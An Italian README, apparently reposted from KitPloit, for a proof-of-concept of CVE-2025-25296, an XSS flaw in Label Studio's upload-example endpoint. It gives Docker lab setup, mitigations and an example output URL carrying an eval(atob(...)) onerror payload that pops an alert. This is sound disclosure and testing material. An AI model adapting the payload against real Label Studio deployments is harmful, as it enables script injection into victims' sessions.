CVE-2025-25296 Prova di concetto (POC)

Descrizione

Questo progetto dimostra una prova di concetto (POC) per la vulnerabilità CVE-2025-25296 che colpisce Label Studio, uno strumento open-source per l'etichettatura dei dati. La vulnerabilità risiede nell'endpoint /projects/upload-example, che non riesce a sanitizzare il contenuto HTML fornito dall'utente nelle richieste GET. Ciò consente agli aggressori di eseguire JavaScript arbitrario nel browser della vittima, portando a potenziali attacchi di Cross-Site Scripting (XSS).

Dettagli della vulnerabilità

• Componente interessato: endpoint /projects/upload-example di Label Studio
• Impatto: Cross-Site Scripting (XSS)
• Causa principale: sanitizzazione impropria del contenuto HTML fornito dall'utente nelle richieste GET
• Sfruttamento: creazione di un URL malevolo contenente una configurazione XML delle etichette appositamente formattata con JavaScript incorporato
• Mitigazione: aggiornare Label Studio alla versione 1.16.0 o successiva

Soluzione alternativa

Come soluzione alternativa temporanea:

1. Evitare di utilizzare l'endpoint /projects/upload-example con richieste GET.
2. Preferire le richieste POST per il caricamento delle configurazioni.

Requisiti

• Python 3.x
• Docker
• Pacchetti Python richiesti (installati tramite pip utilizzando setup.sh)

File

• poc.py: script Python per sfruttare la vulnerabilità e dimostrare l'attacco XSS.
• setup.sh: script per configurare l'ambiente vulnerabile utilizzando Docker.

Istruzioni di configurazione

1. Clonare questo repository:

   root@kitploit:~

   git clone CVE-2025-25296-POC
   cd CVE-2025-25296-POC
   

2. Eseguire lo script di configurazione:

   root@kitploit:~

   chmod +x setup.sh
   ./setup.sh
   

3. Lo script di configurazione provvederà a:

   • Verificare l'installazione di Docker.
   • Installare i pacchetti Python richiesti.
   • Scaricare l'immagine Docker vulnerabile di Label Studio (1.15.0).
   • Eseguire l'istanza vulnerabile di Label Studio su localhost:8080.
   • Creare un account su http://localhost:8080

Sfruttamento

1. Eseguire lo script di exploit:

   root@kitploit:~

   python poc.py
   

2. Lo script provvederà a:

   • Inviare una richiesta GET appositamente predisposta all'endpoint vulnerabile /projects/upload-example.
   • Restituire un URL con il payload.

3. Aprire l'URL fornito in un browser web per osservare l'avviso XSS attivato dal payload.

Esempio di output

[*] Attempting to send XSS payload...
[+] Payload successfully sent!
[+] Check this URL in a browser: http://localhost:8080/projects/upload-example/?label_config=%3CView%3E%3C!--%20%7B%22data%22%3A%20%7B%22text%22%3A%20%22%3Cdiv%3E%3Cimg%20src%3Dx%20onerror%3Deval(atob(%60YWxlcnQoIlhTUyIp%60))%3E%3C/div%3E%22%7D%7D%20--%3E%3CHyperText%20name%3D%22text%22%20value%3D%22%24text%22/%3E%3C/View%3E

Raccomandazioni di mitigazione

Per mitigare questa vulnerabilità:

1. Aggiornare Label Studio alla versione 1.16.0 o successiva.
2. Abilitare una Content Security Policy (CSP) rigorosa per bloccare l'esecuzione di script.

Dichiarazione di non responsabilità

Questo progetto è destinato esclusivamente a scopi educativi e di ricerca. Utilizzarlo in modo responsabile e solo su sistemi per i quali si dispone di un'autorizzazione esplicita. L'uso non autorizzato di questo strumento potrebbe violare le leggi applicabili.

Riferimenti

• Repository GitHub di Label Studio
• Dettagli su CVE-2025-25296